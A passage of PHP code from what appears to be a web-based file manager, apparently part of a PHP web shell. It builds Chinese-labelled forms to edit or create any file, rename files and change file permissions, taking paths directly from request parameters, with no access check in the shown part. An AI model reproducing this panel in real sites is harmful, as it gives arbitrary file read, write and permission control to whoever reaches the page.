Ejemplo n.º 1
0
        $filename = "{$dir}/{$editfile}";
        $fp = @fopen($filename, "r");
        $contents = @fread($fp, filesize($filename));
        @fclose($fp);
        $contents = htmlspecialchars($contents);
    } else {
        $editfile = $newfile;
        $filename = "{$dir}/{$editfile}";
    }
    $action = "?dir=" . urlencode($dir) . "&editfile=" . $editfile;
    $tb->tableheader();
    $tb->formheader($action, '新建/编辑文件');
    $tb->tdbody('当前文件: ' . $tb->makeinput('editfilename', $filename) . ' 输入新文件名则建立新文件');
    $tb->tdbody($tb->maketextarea('filecontent', $contents));
    $tb->makehidden('do', 'doeditfile');
    $tb->formfooter('1', '30');
} elseif ($_GET['action'] == "rename") {
    $nowfile = isset($_POST['newname']) ? $_POST['newname'] : basename($_GET['fname']);
    $action = "?dir=" . urlencode($dir) . "&fname=" . urlencode($fname);
    $tb->tableheader();
    $tb->formheader($action, '修改文件名');
    $tb->makehidden('oldname', $dir . "/" . $nowfile);
    $tb->makehidden('dir', $dir);
    $tb->tdbody('当前文件名: ' . basename($nowfile));
    $tb->tdbody('改名为: ' . $tb->makeinput('newname'));
    $tb->makehidden('do', 'rename');
    $tb->formfooter('1', '30');
} elseif ($_GET['action'] == "fileperm") {
    $action = "?dir=" . urlencode($dir) . "&file=" . $file;
    $tb->tableheader();
    $tb->formheader($action, '修改文件属性');